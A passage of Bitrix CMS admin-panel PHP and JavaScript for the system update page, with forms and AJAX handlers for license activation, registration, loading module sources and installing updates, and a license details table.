txt += ' <td colspan="2">';
txt += ' <?= GetMessage("SUP_SUBA_UI_HINT") ?><br />';
txt += ' <input name="GENERATE_USER" id="GENERATE_USER" type="radio" onclick="ActivateEnableDisableUser(true)" value="Y"<?if($GENERATE_USER != "N") echo " checked"?>><label for="GENERATE_USER"><?= GetMessage("SUP_SUBA_UI_CREATE") ?></label><br />';
txt += ' <input name="GENERATE_USER" id="GENERATE_USER_NO" type="radio" onclick="ActivateEnableDisableUser(false)" value="N"<?if($GENERATE_USER == "N") echo " checked"?>><label for="GENERATE_USER_NO"><?echo GetMessage("SUP_SUBA_UI_EXIST");?></label>';
txt += ' </td>';
txt += '</tr>';
txt += '<tr>';
txt += ' <td colspan="2">';
txt += ' <div id="new-user">';
txt += ' <table width="100%" border="0">';
txt += ' <tr id="tr_USER_NAME">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA__UI_NAME") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_NAME_error"></div><input type="text" id="USER_NAME" name="USER_NAME" value="<?=htmlspecialcharsEx($_POST["USER_NAME"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr id="tr_USER_LAST_NAME">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA_UI_LASTNAME") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_LAST_NAME_error"></div><input type="text" id="USER_LAST_NAME" name="USER_LAST_NAME" value="<?=htmlspecialcharsEx($_POST["USER_LAST_NAME"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr id="tr_USER_LOGIN">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA_UI_LOGIN") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_LOGIN_error"></div><input type="text" id="USER_LOGIN_activate" name="USER_LOGIN_A" value="<?=htmlspecialcharsEx($_POST["USER_LOGIN_A"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' <tr id="tr_USER_PASSWORD">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA_UI_PASSWORD") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_PASSWORD_error"></div><input type="password" id="USER_PASSWORD" name="USER_PASSWORD" value="" size="40" autocomplete="off"></td>';
txt += ' </tr>';
txt += ' <tr id="tr_USER_PASSWORD_CONFIRM">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA_UI_PASSWORD_CONF") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_PASSWORD_CONFIRM_error"></div><input type="password" id="USER_PASSWORD_CONFIRM" name="USER_PASSWORD_CONFIRM" value="" size="40"></td>';
txt += ' </tr>';
txt += ' <tr id="tr_USER_EMAIL">';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span>E-mail:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_EMAIL_error"></div><input type="text" id="USER_EMAIL" name="USER_EMAIL" value="<?=htmlspecialcharsEx($_POST["USER_EMAIL"])?>" size="40"></td>';
txt += ' </tr>';
txt += ' </table>';
txt += ' </div>';
txt += ' <div id="exist-user" style="display:none;">';
txt += ' <table width="100%" border="0">';
txt += ' <tr>';
txt += ' <td width="50%" class="field-name" style="padding: 3px;"><span class="required">*</span><?= GetMessage("SUP_SUBA_UI_LOGIN") ?>:</td>';
txt += ' <td width="50%" style="padding: 3px;" nowrap><div id="USER_LOGIN_EXIST_error"></div><input id="USER_LOGIN" name="USER_LOGIN" maxlength="50" value="<?=htmlspecialcharsEx($_POST["USER_LOGIN"])?>" size="40" type="text"></td>';
txt += ' </tr>';
txt += ' </table>';
txt += ' </div>';
txt += ' </td>';
txt += ' </tr>';
txt += ' </table>';
txt += '<div class="buttons">';
txt += '<input type="button" id="id_activate_form_button" value="<?= GetMessage("SUP_SUBA_ACTIVATE_BUTTON") ?>" onclick="ActivateFormSubmit()" title="<?= GetMessage("SUP_SUBA_ACTIVATE_BUTTON") ?>">';
txt += '</div><br />';
txt += '</form>';
div.innerHTML = txt;
var left = parseInt(document.body.scrollLeft + document.body.clientWidth/2 - div.offsetWidth/2);
var top = parseInt(document.body.scrollTop + document.body.clientHeight/2 - div.offsetHeight/2);
jsFloatDiv.Show(div, left, top);
jsUtils.addEvent(document, "keypress", ActivateOnKeyPress);
document.getElementById("id_activate_name").focus();
}
function ActivateOnKeyPress(e)
{
if (!e)
e = window.event;
if (!e)
return;
if (e.keyCode == 27)
CloseActivateWindow();
}
function CloseActivateWindow()
{
jsUtils.removeEvent(document, "keypress", ActivateOnKeyPress);
var div = document.getElementById("activate_float_div");
jsFloatDiv.Close(div);
div.parentNode.removeChild(div);
}
function CloseActivateForm()
{
var div = document.getElementById("activate_float_div");
jsFloatDiv.Close(div);
div.parentNode.removeChild(div);
}
//-->
</SCRIPT>
<?
}
else
{
if ($arUpdateList !== false && isset($arUpdateList["UPDATE_SYSTEM"]))
{
$bLockControls = True;
?>
<div id="upd_updateupdate_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBU_UPDATE") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-update"></div></td>
<td>
<?= GetMessage("SUP_SUBU_HINT") ?><br><br>
<input TYPE="button" id="id_updateupdate_btn" NAME="updateupdate_btn" value="<?= GetMessage("SUP_SUBU_BUTTON") ?>" onclick="UpdateUpdate()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function UpdateUpdate()
{
document.getElementById("id_updateupdate_btn").disabled = true;
ShowWaitWindow();
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
if (result == "Y")
{
window.location.href = "update_system.php?lang=<?= LANG ?>";
//var udl = document.getElementById("upd_register_div");
//udl.style["display"] = "none";
}
else
{
alert("<?= GetMessage("SUP_SUBU_ERROR") ?>: " + result);
document.getElementById("id_updateupdate_btn").disabled = false;
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=updateupdate&<?= bitrix_sessid_get() ?>&updRand=' + updRand);
}
//-->
</SCRIPT>
<?
}
}
}
if (empty($errorMessage) && ($arUpdateList !== false)
&& defined("DEMO") && DEMO == "Y"
&& isset($arUpdateList["CLIENT"]) && !isset($arUpdateList["UPDATE_SYSTEM"])
&& ($arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "F" || $arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "E" || $arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "T"))
{
?>
<div id="upd_register_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBR_REG") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-licence"></div></td>
<td>
<?= GetMessage("SUP_SUBR_HINT") ?><br><br>
<input TYPE="button"<?= ($bLockControls ? " disabled" : "")?> id="id_register_btn" NAME="register_btn" value="<?= GetMessage("SUP_SUBR_BUTTON") ?>" onclick="RegisterSystem()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
function RegisterSystem()
{
ShowWaitWindow();
document.getElementById("id_register_btn").disabled = true;
CHttpRequest.Action = function(result)
{
CloseWaitWindow();
result = PrepareString(result);
document.getElementById("id_register_btn").disabled = false;
if (result == "Y")
{
var udl = document.getElementById("upd_register_div");
udl.style["display"] = "none";
}
else
{
alert("<?= GetMessage("SUP_SUBR_ERR") ?>: " + result);
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=register&<?= bitrix_sessid_get() ?>&updRand=' + updRand);
}
//-->
</SCRIPT>
<?
}
if (empty($errorMessage) && ($arUpdateList !== false)
&& defined("ENCODE") && ENCODE=="Y"
&& isset($arUpdateList["CLIENT"]) && !isset($arUpdateList["UPDATE_SYSTEM"])
&& ($arUpdateList["CLIENT"][0]["@"]["ENC_TYPE"] == "F"))
{
?>
<div id="upd_source_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBS_SOURCES") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-sources"></div></td>
<td>
<?= GetMessage("SUP_SUBS_HINT") ?><br><br>
<input TYPE="button" NAME="source_btn"<?= (($bLockControls || $countModuleUpdates > 0) ? " disabled" : "") ?> value="<?= GetMessage("SUP_SUBS_BUTTON") ?>" onclick="LoadSources()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
var modulesList = new Array();
<?
$i = 0;
foreach ($arClientModules as $key => $value)
echo "modulesList[".($i++)."] = \"".$key."\";";
?>
function LoadSources()
{
globalQuantity = <?= count($arClientModules) ?>;
SetProgressHint("<?= GetMessage("SUP_INITIAL") ?>");
__LoadSources();
SetProgressD();
}
function __LoadSources()
{
document.getElementById("upd_source_div").style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "block";
CHttpRequest.Action = function(result)
{
result = PrepareString(result);
LoadSourcesResult(result);
}
var requestedModules = "";
for (var i = 0; i < modulesList.length; i++)
{
if (i > 0)
requestedModules += ",";
requestedModules += modulesList[i];
}
if (requestedModules.length > 0)
{
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=sources&<?= bitrix_sessid_get() ?>&requested_modules=' + requestedModules + "&updRand=" + updRand);
}
else
{
LoadSourcesResult("FIN");
}
}
function LoadSourcesResult(result)
{
var code = result.substring(0, 3);
var data = result.substring(3);
if (code == "FIN")
{
document.getElementById("upd_source_div").style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updSuccessDiv.style["display"] = "block";
var updSuccessDivText = document.getElementById("upd_success_div_text");
updSuccessDivText.innerHTML = "<?= GetMessage("SUP_SUBS_SUCCESS") ?>";
}
else
{
if (code == "STP")
{
if (data.length > 0)
{
arData = data.split("|");
globalCounter += parseInt(arData[0]);
SetProgress(globalCounter * 100 / globalQuantity);
if (arData.length > 1)
{
loadedModule = arData[1];
SetProgressHint("<?= GetMessage("SUP_SUBS_MED") ?> " + arData[1]);
}
var modulesListTmp = Array();
var j = 0;
for (var i = 0; i < modulesList.length; i++)
{
if (modulesList[i] != loadedModule)
{
modulesListTmp[j] = modulesList[i];
j++;
}
}
modulesList = modulesListTmp;
}
__LoadSources();
}
else
{
document.getElementById("upd_source_div").style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updErrorDiv.style["display"] = "block";
var updErrorDivText = document.getElementById("upd_error_div_text");
updErrorDivText.innerHTML = data;
}
}
}
//-->
</SCRIPT>
<?
}
?>
<?
if ($arUpdateList !== false && (isset($_REQUEST[_32763223666625(0)]) && ($_REQUEST[_32763223666625(0)] == "Y")) && isset($arUpdateList["CLIENT"]) && !isset($arUpdateList["UPDATE_SYSTEM"]))
{
?>
<div id="upd_support_div">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?= GetMessage("SUP_SUBS_SUPPORT") ?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-support"></div></td>
<td>
<input type="text" name="support_list" id="id_support_list" size="90" value="<?
$i = 0;
foreach ($arClientModules as $key => $value)
{
echo (($i > 0) ? "," : "").$key;
$i++;
}
?>">
<input TYPE="button" NAME="support_btn" NAME="id_support_btn"<?= ($bLockControls ? " disabled" : "") ?> value="<?= GetMessage("SUP_SUPPORT_BUTTON") ?>" onclick="LoadSupport()">
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</div>
<SCRIPT LANGUAGE="JavaScript">
<!--
var modulesListSupport = new Array();
function LoadSupport()
{
sData = document.getElementById("id_support_list").value;
if (sData.length <= 0)
return false;
ind = 0;
arData = sData.split(",");
for (var i = 0; i < arData.length; i++)
{
v = arData[i].replace(/(^\s+)|(\s+$)/g, "");
if (v.length > 0)
{
modulesListSupport[ind] = v;
ind++;
}
}
globalQuantity = modulesListSupport.length;
SetProgressHint("<?= GetMessage("SUP_INITIAL") ?>");
__LoadSupport();
SetProgressD();
}
function __LoadSupport()
{
document.getElementById("upd_support_div").style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "block";
CHttpRequest.Action = function(result)
{
result = PrepareString(result);
LoadSupportResult(result);
}
var requestedModules = "";
for (var i = 0; i < modulesListSupport.length; i++)
{
if (i > 0)
requestedModules += ",";
requestedModules += modulesListSupport[i];
}
if (requestedModules.length > 0)
{
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_act.php?query_type=support_full_load&<?= bitrix_sessid_get() ?>&requested_modules=' + requestedModules + "&updRand=" + updRand);
}
else
{
LoadSupportResult("FIN");
}
}
function LoadSupportResult(result)
{
var code = result.substring(0, 3);
var data = result.substring(3);
if (code == "FIN")
{
document.getElementById("upd_support_div").style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updSuccessDiv.style["display"] = "block";
var updSuccessDivText = document.getElementById("upd_success_div_text");
updSuccessDivText.innerHTML = "<?= GetMessage("SUP_SUPPORT_SUCCESS") ?>";
}
else
{
if (code == "STP")
{
if (data.length > 0)
{
arData = data.split("|");
globalCounter += parseInt(arData[0]);
SetProgress(globalCounter * 100 / globalQuantity);
if (arData.length > 1)
{
loadedModule = arData[1];
SetProgressHint("<?= GetMessage("SUP_SUPPORT_MED") ?> " + arData[1]);
}
var modulesListTmp = Array();
var j = 0;
for (var i = 0; i < modulesListSupport.length; i++)
{
if (modulesListSupport[i] != loadedModule)
{
modulesListTmp[j] = modulesListSupport[i];
j++;
}
}
modulesListSupport = modulesListTmp;
}
__LoadSupport();
}
else
{
document.getElementById("upd_support_div").style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updErrorDiv.style["display"] = "block";
var updErrorDivText = document.getElementById("upd_error_div_text");
updErrorDivText.innerHTML = data;
}
}
}
//-->
</SCRIPT>
<?
}
?>
<div id="upd_success_div" style="display:none">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUB_SUCCESS") ?></B></td>
</tr>
<tr>
<td valign="top"><div id="upd_success_div_text"></div></td>
</tr>
</table>
</div>
<div id="upd_error_div" style="display:none">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUB_ERROR") ?></B></td>
</tr>
<tr>
<td valign="top"><div id="upd_error_div_text"></div></td>
</tr>
</table>
</div>
<div id="upd_install_div" style="display:none">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= GetMessage("SUP_SUB_PROGRESS") ?></B></td>
</tr>
<tr>
<td valign="top">
<table border="0" cellspacing="5" cellpadding="3" width="100%">
<tr>
<td valign="top" width="5%">
</td>
<td valign="top">
<div style="top:0px; left:0px; width:300px; height:15px; background-color:#365069; font-size:1px;">
<div style="position:relative; top:1px; left:1px; width:298px; height:13px; background-color:#ffffff; font-size:1px;">
<div id="PBdoneD" style="position:relative; top:0px; left:0px; width:0px; height:13px; background-color:#D5E7F3; font-size:1px;">
</div></div></div>
<br>
<div style="top:0px; left:0px; width:300px; height:15px; background-color:#365069; font-size:1px;">
<div style="position:relative; top:1px; left:1px; width:298px; height:13px; background-color:#ffffff; font-size:1px;">
<div id="PBdone" style="position:relative; top:0px; left:0px; width:0px; height:13px; background-color:#D5E7F3; font-size:1px;">
</div></div></div>
<br>
<div id="install_progress_hint"></div>
</td>
<td valign="top" align="right">
<input TYPE="button" NAME="stop_updates" id="id_stop_updates" value="<?= GetMessage("SUP_SUB_STOP") ?>" onclick="StopUpdates()">
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<div id="upd_select_div" style="display:block">
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><B><?= ($countModuleUpdates > 0 || $countLangUpdatesInst > 0) ? GetMessage("SUP_SU_TITLE1") : GetMessage("SUP_SU_TITLE2") ?></B></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-main"></div></td>
<td>
<b><?= GetMessage("SUP_SU_RECOMEND") ?>:</b>
<?
$bComma = False;
if ($countModuleUpdates > 0)
{
echo str_replace("#NUM#", $countModuleUpdates, GetMessage("SUP_SU_RECOMEND_MOD"));
$bComma = True;
}
if ($countLangUpdatesInst > 0)
{
if ($bComma)
echo ", ";
echo str_replace("#NUM#", $countLangUpdatesInst, GetMessage("SUP_SU_RECOMEND_LAN"));
$bComma = True;
}
if ($countModuleUpdates <= 0 && $countLangUpdatesInst <= 0)
echo GetMessage("SUP_SU_RECOMEND_NO");
if ($countLangUpdatesOther > 0 || $countHelpUpdatesOther > 0 || $countHelpUpdatesInst > 0)
{
echo "<br>";
echo "<b>".GetMessage("SUP_SU_OPTION").":</b> ";
$bComma = False;
if ($countLangUpdatesOther > 0)
{
echo str_replace("#NUM#", $countLangUpdatesOther, GetMessage("SUP_SU_OPTION_LAN"));
$bComma = True;
}
if ($countHelpUpdatesOther > 0 || $countHelpUpdatesInst > 0)
{
if ($bComma)
echo ", ";
echo str_replace("#NUM#", $countHelpUpdatesOther + $countHelpUpdatesInst, GetMessage("SUP_SU_OPTION_HELP"));
}
}
?>
<br><br>
<input TYPE="button" ID="install_updates_button" NAME="install_updates"<?= (($countModuleUpdates <= 0 && $countLangUpdatesInst <= 0 || $bLockControls) ? " disabled" : "") ?> value="<?= GetMessage("SUP_SU_UPD_BUTTON") ?>" onclick="InstallUpdates()">
<br><br>
<span id="id_view_updates_list_span"><a id="id_view_updates_list" href="javascript:tabControl.SelectTab('tab2');"><?= GetMessage("SUP_SU_UPD_VIEW") ?></a></span>
<br><br>
<?= GetMessage("SUP_SU_UPD_HINT_CHECK") ?>
<br><br>
<?
$m = "";
if ($stableVersionsOnly === "Y")
{
$m = GetMessage("SUP_STABLE_ON_PROMT");
}
elseif ($stableVersionsOnly === "N")
{
$m = GetMessage("SUP_STABLE_OFF_PROMT");
}
elseif (is_numeric($stableVersionsOnly) && isset($arUpdateList["AVAILABLE_VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"]) && isset($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]) && is_array($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"]))
{
foreach ($arUpdateList["AVAILABLE_VERSIONS"][0]["#"]["VERSIONS"] as $versions)
{
if (intval($versions["@"]["ID"]) === intval($stableVersionsOnly))
{
$m = "<b>".GetMessage("SUP_SU_UPD_HINT_CHECK_VERS", array("#NAME#" => $versions["@"]["NAME"]))."</b><br><br>";
$m .= (($versions["@"]["IS_STABLE"] === "Y") ? GetMessage("SUP_STABLE_ON_PROMT") : GetMessage("SUP_STABLE_OFF_PROMT"));
break;
}
}
}
else
{
$m = GetMessage("SUP_STABLE_ON_PROMT");
}
echo $m;
?>
<br><br>
<?= GetMessage("SUP_SU_UPD_HINT") ?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<script language="JavaScript">
<!--
var updSelectDiv = document.getElementById("upd_select_div");
var updInstallDiv = document.getElementById("upd_install_div");
var updSuccessDiv = document.getElementById("upd_success_div");
var updErrorDiv = document.getElementById("upd_error_div");
var PBdone = document.getElementById('PBdone');
var PBdoneD = document.getElementById('PBdoneD');
var aStrParams;
var globalQuantity = <?= $countTotalImportantUpdates ?>;
var globalCounter = 0;
var globalQuantityD = 100;
var globalCounterD = 0;
var cycleModules = <?= ($countModuleUpdates > 0) ? "true" : "false" ?>;
var cycleLangs = <?= ($countLangUpdatesInst > 0) ? "true" : "false" ?>;
var cycleHelps = false;
var bStopUpdates = false;
function findlayer(name, doc)
{
var i,layer;
for (i = 0; i < doc.layers.length; i++)
{
layer = doc.layers[i];
if (layer.name == name)
return layer;
if (layer.document.layers.length > 0)
if ((layer = findlayer(name, layer.document)) != null)
return layer;
}
return null;
}
function SetProgress(val)
{
PBdone.style.width = (val*298/100) + 'px';
}
function SetProgressD()
{
globalCounterD++;
if (globalCounterD > globalQuantityD)
globalCounterD = 0;
var val = globalCounterD * 100 / globalQuantityD;
PBdoneD.style.width = (val * 298 / 100) + 'px';
if (!bStopUpdates)
setTimeout(SetProgressD, 1000);
}
function SetProgressHint(val)
{
var installProgressHintDiv = document.getElementById("install_progress_hint");
installProgressHintDiv.innerHTML = val;
}
function InstallUpdates()
{
SetProgressHint("<?= GetMessage("SUP_INITIAL") ?>");
__InstallUpdates();
SetProgressD();
}
function __InstallUpdates()
{
updSelectDiv.style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "block";
CHttpRequest.Action = function(result)
{
InstallUpdatesAction(result);
}
var param;
if (cycleModules)
{
param = "M";
}
else
{
if (cycleLangs)
{
param = "L";
}
else
{
if (cycleHelps)
param = "H";
}
}
updRand++;
CHttpRequest.Send('/bitrix/admin/update_system_call.php?' + aStrParams + "&<?= bitrix_sessid_get() ?>&query_type=" + param + "&updRand=" + updRand);
}
function InstallUpdatesDoStep(data)
{
if (data.length > 0)
{
arData = data.split("|");
globalCounter += parseInt(arData[0]);
if (arData.length > 1)
SetProgressHint("<?= GetMessage("SUP_SU_UPD_INSMED1") ?> " + arData[1]);
if (globalCounter > globalQuantity)
globalCounter = 0;
SetProgress(globalCounter * 100 / globalQuantity);
}
__InstallUpdates();
}
function InstallUpdatesAction(result)
{
result = PrepareString(result);
if (result == "*")
{
window.location.reload(false);
return;
}
var code = result.substring(0, 3);
var data = result.substring(3);
//alert("code=" + code + "; data=" + data);
if (bStopUpdates)
{
CloseWaitWindow();
code = "FIN";
cycleModules = false;
cycleLangs = false;
cycleHelps = false;
}
if (code == "FIN")
{
if (cycleModules)
{
cycleModules = false;
}
else
{
if (cycleLangs)
{
cycleLangs = false;
}
else
{
if (cycleHelps)
cycleHelps = false;
}
}
if (cycleModules || cycleLangs || cycleHelps)
{
InstallUpdatesDoStep(data);
}
else
{
updSelectDiv.style["display"] = "none";
updErrorDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updSuccessDiv.style["display"] = "block";
DisableUpdatesTable();
var updSuccessDivText = document.getElementById("upd_success_div_text");
updSuccessDivText.innerHTML = "<?= GetMessage("SUP_SU_UPD_INSSUC") ?>: " + globalCounter;
}
}
else
{
if (code == "STP")
{
InstallUpdatesDoStep(data);
}
else
{
updSelectDiv.style["display"] = "none";
updSuccessDiv.style["display"] = "none";
updInstallDiv.style["display"] = "none";
updErrorDiv.style["display"] = "block";
var updErrorDivText = document.getElementById("upd_error_div_text");
updErrorDivText.innerHTML = data;
}
}
}
function StopUpdates()
{
bStopUpdates = true;
document.getElementById("id_stop_updates").disabled = true;
ShowWaitWindow();
}
//-->
</script>
<?
}
?>
</td>
</tr>
<tr>
<td colspan="2">
<br>
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal">
<tr class="heading">
<td><b><?echo GetMessage("SUP_SERVER_ANSWER")?></b></td>
</tr>
<tr>
<td valign="top">
<table cellpadding="0" cellspacing="0">
<tr>
<td class="icon-new"><div class="icon icon-update"></div></td>
<td>
<table border="0" cellspacing="1" cellpadding="3">
<?if (is_array($arUpdateList) && array_key_exists("CLIENT", $arUpdateList)):?>
<tr>
<td nowrap><?echo GetMessage("SUP_REGISTERED")?> </td>
<td><?echo $arUpdateList["CLIENT"][0]["@"]["NAME"]?></td>
</tr>
<?endif;?>
<tr>
<td nowrap><?= GetMessage("SUP_LICENSE_KEY") ?>: </td>
<td><?
$lic = CUpdateClient::GetLicenseKey();
echo ($USER->CanDoOperation('edit_other_settings')? $lic : "XXX-XX-XXXXXXXXXXX");
?> <a href="javascript:;" onclick="javascript: document.getElementById('check_key_info_form').submit()"><?= GetMessage("SUP_CHECK_LIC_MESSAGE") ?></a></td>
</tr>
<?if (is_array($arUpdateList) && array_key_exists("CLIENT", $arUpdateList)):?>
<tr>
<td nowrap><?echo GetMessage("SUP_EDITION")?> </td>
<td><?echo $arUpdateList["CLIENT"][0]["@"]["LICENSE"]?></td>
</tr>
<tr>
<td nowrap><?echo GetMessage("SUP_SITES")?> </td>
<td><?echo ($arUpdateList["CLIENT"][0]["@"]["MAX_SITES"] > 0? $arUpdateList["CLIENT"][0]["@"]["MAX_SITES"] : GetMessage("SUP_CHECK_PROMT_2"));
?></td>
</tr>
<tr valign="top">
<td nowrap><?echo GetMessage("SUP_USERS")?> </td>
<td><?
if (IsModuleInstalled("intranet"))
{
if ($arUpdateList["CLIENT"][0]["@"]["MAX_USERS"] > 0)
{
echo $arUpdateList["CLIENT"][0]["@"]["MAX_USERS"];
echo str_replace("#NUM#", CUpdateClient::GetCurrentNumberOfUsers(), GetMessage("SUP_CURRENT_NUMBER_OF_USERS"));
}
else
{
echo GetMessage("SUP_USERS_IS_NOT_LIMITED");
echo " ";
echo str_replace("#NUM#", CUpdateClient::GetCurrentNumberOfUsers(), GetMessage("SUP_CURRENT_NUMBER_OF_USERS1"));
}
}
elseif (defined("FIRST_EDITION") && constant("FIRST_EDITION") == "Y")
{
echo $arUpdateList["CLIENT"][0]["@"]["MAX_USERS"];
}
else
{
echo GetMessage("SUP_CHECK_PROMT_21");
}
?></td>
</tr>
<tr>
<td nowrap><?echo GetMessage("SUP_ACTIVE")?> </td>
<td><?echo GetMessage("SUP_ACTIVE_PERIOD", array("#DATE_TO#"=>((strlen($arUpdateList["CLIENT"][0]["@"]["DATE_TO"]) > 0) ? $arUpdateList["CLIENT"][0]["@"]["DATE_TO"] : "<i>N/A</i>"), "#DATE_FROM#" => ((strlen($arUpdateList["CLIENT"][0]["@"]["DATE_FROM"]) > 0) ? $arUpdateList["CLIENT"][0]["@"]["DATE_FROM"] : "<i>N/A</i>")));?></td>
</tr>
<tr>
<td nowrap><?echo GetMessage("SUP_SERVER")?> </td>
<td><?echo $arUpdateList["CLIENT"][0]["@"]["HTTP_HOST"]?></td>
</tr>
<?else:?>
<tr>
<td nowrap><?echo GetMessage("SUP_SERVER")?> </td>
<td><?echo (($s=COption::GetOptionString("main", "update_site"))==""? "-":$s)?></td>
</tr>
<?endif;?>
<tr>
<td valign="top" nowrap>
<?= GetMessage("SUP_SUBI_CHECK") ?>:
</td>
<td valign="top">
<?= COption::GetOptionString("main", "update_system_check", "-") ?>
</td>
</tr>
<tr>
<td valign="top" nowrap>
<?= GetMessage("SUP_SUBI_UPD") ?>:
</td>
<td valign="top">
<?= COption::GetOptionString("main", "update_system_update", "-") ?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<?
$tabControl->EndTab();
$tabControl->BeginNextTab();
?>
<tr>
<td colspan="2">
<table border="0" cellspacing="1" cellpadding="3" width="100%">
<tr>
<td>
<?= GetMessage("SUP_SULL_CNT") ?>: <?= $countModuleUpdates + $countLangUpdatesInst + $countLangUpdatesOther + $countHelpUpdatesOther + $countHelpUpdatesInst ?><BR><BR>
<input TYPE="button" ID="install_updates_sel_button" NAME="install_updates"<?= (($countModuleUpdates <= 0 && $countLangUpdatesInst <= 0) ? " disabled" : "") ?> value="<?= GetMessage("SUP_SULL_BUTTON") ?>" onclick="InstallUpdatesSel()">
</td>
</tr>
</table>
<br>
<?
if ($arUpdateList)
{
?>
<table border="0" cellspacing="1" cellpadding="3" width="100%" class="internal" id="table_updates_sel_list">
<tr>
<td class="heading"><INPUT TYPE="checkbox" NAME="select_all" id="id_select_all" title="<?= GetMessage("SUP_SULL_CBT") ?>" onClick="SelectAllRows(this);"></td>
<td class="heading"><B><?= GetMessage("SUP_SULL_NAME") ?></B></td>
<td class="heading"><B><?= GetMessage("SUP_SULL_TYPE") ?></B></td>
<td class="heading"><B><?= GetMessage("SUP_SULL_REL") ?></B></td>
<td class="heading"><B><?= GetMessage("SUP_SULL_NOTE") ?></B></td>
</tr>
<?
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"]) || isset($arUpdateList["LANGS"][0]["#"]["INST"]))
{
?>
<tr>
<td colspan="5"><?= GetMessage("SUP_SU_RECOMEND") ?></td>
</tr>
<?
}
if (isset($arUpdateList["MODULES"][0]["#"]["MODULE"]))
{
for ($i = 0, $cnt = count($arUpdateList["MODULES"][0]["#"]["MODULE"]); $i < $cnt; $i++)
{
$arModuleTmp = $arUpdateList["MODULES"][0]["#"]["MODULE"][$i];
$arModuleTmp["@"]["ID"] = preg_replace("#[^A-Za-z0-9._-]#", "", $arModuleTmp["@"]["ID"]);
$strTitleTmp = $arModuleTmp["@"]["NAME"]." (".$arModuleTmp["@"]["ID"].")\n".$arModuleTmp["@"]["DESCRIPTION"]."\n";
if (isset($arModuleTmp["#"]["VERSION"]) && is_array($arModuleTmp["#"]["VERSION"]))
{
